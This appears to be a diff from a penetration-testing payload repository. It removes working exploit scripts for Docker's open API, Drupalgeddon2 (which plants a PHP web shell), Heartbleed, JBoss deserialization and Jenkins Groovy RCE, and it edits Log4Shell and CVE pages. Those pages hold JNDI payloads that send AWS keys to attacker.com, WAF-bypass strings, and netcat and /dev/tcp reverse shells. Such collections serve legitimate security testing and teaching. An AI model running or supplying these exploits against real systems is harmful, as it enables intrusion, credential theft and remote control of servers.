# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
# This is an intended feature, remember to filter the port 2375..
name = "docker"
description = "Docker RCE via Open Docker API on port 2375"
author = "Swissky"
# Step 1 - Extract id and name from each container
ip = "127.0.0.1"
port = "2375"
data = "containers/json"
url = "http://{}:{}/{}".format(ip, port, data)
r = requests.get(url)
if r.json:
for container in r.json():
container_id = container['Id']
container_name = container['Names'][0].replace('/','')
print((container_id, container_name))
# Step 2 - Prepare command
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
data = "containers/{}/exec".format(container_name)
url = "http://{}:{}/{}".format(ip, port, data)
post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
post_header = {
"Content-Type": "application/json"
}
r = requests.post(url, json=json.loads(post_json))
# Step 3 - Execute command
id_cmd = r.json()['Id']
data = "exec/{}/start".format(id_cmd)
url = "http://{}:{}/{}".format(ip, port, data)
post_json = '{ "Detach":false,"Tty":false}'
post_header = {
"Content-Type": "application/json"
}
r = requests.post(url, json=json.loads(post_json))
print(r)

View File

@@ -1,308 +0,0 @@
#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
# Settings - Proxy information (nil to disable)
proxy_addr = nil
proxy_port = 8080
# Settings - General
$useragent = "drupalgeddon2"
webshell = "s.php"
writeshell = true
# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Function http_post <url> [post]
def http_post(url, payload="")
uri = URI(url)
request = Net::HTTP::Post.new(uri.request_uri)
request.initialize_http_header({"User-Agent" => $useragent})
request.body = payload
return $http.request(request)
end
# Function gen_evil_url <cmd>
def gen_evil_url(evil, feedback=true)
# PHP function to use (don't forget about disabled functions...)
phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
#puts "[*] PHP cmd: #{phpmethod}" if feedback
puts "[*] Payload: #{evil}" if feedback
## Check the version to match the payload
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
if $drupalverion.start_with?('8')
# Method #1 - Drupal 8, mail, #post_render - response is 200
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
elsif $drupalverion.start_with?('7')
# Method #3 - Drupal 7, name, #post_render - response is 200
url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
else
puts "[!] Unsupported Drupal version"
exit
end
# Drupal v7 needs an extra value from a form
if $drupalverion.start_with?('7')
response = http_post(url, payload)
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
#url = $target + "file/ajax/name/%23value/" + form_build_id
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
payload = "form_build_id=" + form_build_id
end
return url, payload
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Quick how to use
if ARGV.empty?
puts "Usage: ruby drupalggedon2.rb <target>"
puts " ruby drupalgeddon2.rb https://example.com"
exit
end
# Read in values
$target = ARGV[0]
# Check input for protocol
if not $target.start_with?('http')
$target = "http://#{$target}"
end
# Check input for the end
if not $target.end_with?('/')
$target += "/"
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Banner
puts "[*] --==[::#Drupalggedon2::]==--"
puts "-"*80
puts "[*] Target : #{$target}"
puts "[*] Write? : Skipping writing web shell" if not writeshell
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
# Use SSL/TLS if needed
if uri.scheme == "https"
$http.use_ssl = true
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Try and get version
$drupalverion = nil
# Possible URLs
url = [
$target + "CHANGELOG.txt",
$target + "core/CHANGELOG.txt",
$target + "includes/bootstrap.inc",
$target + "core/includes/bootstrap.inc",
]
# Check all
url.each do|uri|
# Check response
response = http_post(uri)
if response.code == "200"
puts "[+] Found : #{uri} (#{response.code})"
# Patched already?
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
# Try and get version from the file contents
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
# If not, try and get it from the URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
# Done!
break
elsif response.code == "403"
puts "[+] Found : #{uri} (#{response.code})"
# Get version from URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x"
else
puts "[!] MISSING: #{uri} (#{response.code})"
end
end
# Feedback
if $drupalverion
status = $drupalverion.end_with?('x')? "?" : "!"
puts "[+] Drupal#{status}: #{$drupalverion}"
else
puts "[!] Didn't detect Drupal version"
puts "[!] Forcing Drupal v8.x attack"
$drupalverion = "8.x"
end
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Make a request, testing code execution
puts "[*] Testing: Code Execution"
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}")
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
else
puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
exit
end
puts "-"*80
# Location of web shell & used to signal if using PHP shell
webshellpath = nil
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
"./",
"./sites/default/",
"./sites/default/files/",
]
# Check all
paths.each do|path|
puts "[*] Testing: File Write To Web Root (#{path})"
# Merge locations
webshellpath = "#{path}#{webshell}"
# Final command to execute
cmd = "#{bashcmd} | tee #{webshellpath}"
# Generate evil URLs
url, payload = gen_evil_url(cmd)
# Make the request
response = http_post(url, payload)
# Check result
if response.code == "200" and not response.body.empty?
# Feedback
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
# Test to see if backdoor is there (if we managed to write it)
response = http_post("#{$target}#{webshellpath}", "c=hostname")
if response.code == "200" and not response.body.empty?
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
break
else
puts "[!] Target is NOT exploitable. No write access here!"
end
else
puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
end
webshellpath = nil
end if writeshell
puts "-"*80 if writeshell
if webshellpath
# Get hostname for the prompt
prompt = response.body.to_s.strip
# Feedback
puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
elsif writeshell
puts "[!] FAILED: Coudn't find writeable web path"
puts "[*] Dropping back direct commands (expect an ugly shell!)"
end
# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")
# Forever loop
loop do
# Default value
result = "ERROR"
# Get input
command = Readline.readline("#{prompt}>> ", true).to_s
# Exit
break if command =~ /exit/
# Blank link?
next if command.empty?
# If PHP shell
if webshellpath
# Send request
result = http_post("#{$target}#{webshell}", "c=#{command}").body
# Direct commands
else
url, payload = gen_evil_url(command, false)
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
end
end
# Feedback
puts result
end

View File

@@ -1,216 +0,0 @@
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
from __future__ import print_function
from builtins import str
from builtins import range
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')
def hexdump(s, dumpf, quiet):
dump = open(dumpf,'a')
dump.write(s)
dump.close()
if quiet: return
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print(' %04x: %-48s %s' % (b, hxdat, pdat))
print()
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
if not rdata:
return None
else:
return rdata
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print('Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print('Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s, dumpf, host, quiet):
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print('No heartbeat response received from '+host+', server likely not vulnerable')
return False
if typ == 24:
if not quiet: print('Received heartbeat response:')
hexdump(pay, dumpf, quiet)
if len(pay) > 3:
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
else:
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
if not quiet: print('Received alert:')
hexdump(pay, dumpf, quiet)
print('Server '+ host +' returned error, likely not vulnerable')
return False
def connect(host, port, quiet):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if not quiet: print('Connecting...')
sys.stdout.flush()
s.connect((host, port))
return s
def tls(s, quiet):
if not quiet: print('Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
if not quiet: print('Waiting for Server Hello...')
sys.stdout.flush()
def parseresp(s):
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print('Server closed connection without sending Server Hello.')
return 0
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
return ver
def check(host, port, dumpf, quiet, starttls):
response = False
if starttls:
try:
s = smtplib.SMTP(host=host,port=port)
s.ehlo()
s.starttls()
except smtplib.SMTPException:
print('STARTTLS not supported...')
s.quit()
return False
print('STARTTLS supported...')
s.quit()
s = connect(host, port, quiet)
s.settimeout(1)
try:
re = s.recv(1024)
s.send('ehlo starttlstest\r\n')
re = s.recv(1024)
s.send('starttls\r\n')
re = s.recv(1024)
except socket.timeout:
print('Timeout issues, going ahead anyway, but it is probably broken ...')
tls(s,quiet)
else:
s = connect(host, port, quiet)
tls(s,quiet)
version = parseresp(s)
if version == 0:
if not quiet: print("Got an error while parsing the response, bailing ...")
return False
else:
version = version - 0x0300
if not quiet: print("Server TLS version was 1.%d\n" % version)
if not quiet: print('Sending heartbeat request...')
sys.stdout.flush()
if (version == 1):
s.send(hbv10)
response = hit_hb(s,dumpf, host, quiet)
if (version == 2):
s.send(hbv11)
response = hit_hb(s,dumpf, host, quiet)
if (version == 3):
s.send(hbv12)
response = hit_hb(s,dumpf, host, quiet)
s.close()
return response
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
for i in range(0,opts.num):
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
if __name__ == '__main__':
main()

View File

@@ -1,62 +0,0 @@
#! /usr/bin/env python2
# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if not args.ysoserial_path:
for path in ysoserial_default_paths:
if os.path.exists(path):
ysoserial_path = path
else:
if os.path.exists(args.ysoserial_path):
ysoserial_path = args.ysoserial_path
if ysoserial_path is None:
print('[-] Could not find ysoserial JAR file')
sys.exit(1)
if len(args.target.split(":")) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
if r.status_code == 200:
print('[+] Command executed successfully')

File diff suppressed because one or more lines are too long

View File

@@ -1,84 +0,0 @@
#! /usr/bin/env python2
#Jenkins Groovy XML RCE (CVE-2016-0792)
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
#Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import sys
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if len(args.target.split(':')) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
xml_formatted = ''
command_list = args.command.split()
for cmd in command_list:
xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
xml_payload = '''<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
{}
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>'''.format(xml_formatted.strip())
print('[*] Generated XML payload:')
print(xml_payload)
print()
print('[*] Sending payload')
headers = {'Content-Type': 'text/xml'}
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
if r.status_code == 500:
for path in paths_in_trace:
if path in r.text:
print('[+] Command executed successfully')
break

View File

@@ -1,32 +0,0 @@
#!/usr/bin/env python
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
from __future__ import print_function
from builtins import input
import requests
import sys
print("""
Jenkins Groovy Console cmd runner.
usage: ./jgc.py [HOST]
Then type any command and wait for STDOUT output from remote machine.
Type 'exit' to exit :)
""")
URL = sys.argv[1] + '/scriptText'
HEADERS = {
'User-Agent': 'jgc'
}
while 1:
CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
if CMD == 'exit':
print("exiting...\n")
exit(0)
DATA = {
'script': 'println "{}".execute().text'.format(CMD)
}
result = requests.post(URL, headers=HEADERS, data=DATA)
print(result.text)

View File

@@ -1,107 +1,107 @@
# CVE-2021-44228 Log4Shell
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
## Summary
* [Vulnerable code](#vulnerable-code)
* [Payloads](#payloads)
* [Scanning](#scanning)
* [WAF Bypass](#waf-bypass)
* [Exploitation](#exploitation)
* [Environment variables exfiltration](#environment-variables-exfiltration)
* [Remote Command Execution](#remote-command-execution)
* [References](#references)
## Vulnerable code
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
https://github.com/leonjza/log4jpwn)
```java
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
```
## Payloads
```bash
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}
# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password
```
## Scanning
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
```powershell
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
```
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
## WAF Bypass
```powershell
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
# using lower and upper
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
```
## Exploitation
### Environment variables exfiltration
```powershell
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
```
### Remote Command Execution
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
```ps1
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
## References
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
# CVE-2021-44228 Log4Shell
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
## Summary
* [Vulnerable code](#vulnerable-code)
* [Payloads](#payloads)
* [Scanning](#scanning)
* [WAF Bypass](#waf-bypass)
* [Exploitation](#exploitation)
* [Environment variables exfiltration](#environment-variables-exfiltration)
* [Remote Command Execution](#remote-command-execution)
* [References](#references)
## Vulnerable code
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
https://github.com/leonjza/log4jpwn)
```java
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
```
## Payloads
```bash
# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}
# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password
```
## Scanning
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
```powershell
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
```
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
## WAF Bypass
```powershell
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
# using lower and upper
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
```
## Exploitation
### Environment variables exfiltration
```powershell
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
```
### Remote Command Execution
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
```ps1
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
## References
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)

View File

@@ -41,7 +41,7 @@ Afftected systems:
### CVE-2017-5638 - Apache Struts 2
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the Content-Type header.
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the "Content-Type" header.
### CVE-2018-7600 - Drupalgeddon 2
@@ -78,8 +78,8 @@ curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/44
## References
* [Heartbleed - Official website](http://heartbleed.com)
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
* [Heartbleed - Official website](https://web.archive.org/web/20260302163556/https://heartbleed.com/)
* [Shellshock - Wikipedia](https://web.archive.org/web/20140929214920/http://en.wikipedia.org:80/wiki/Shellshock_(software_bug))
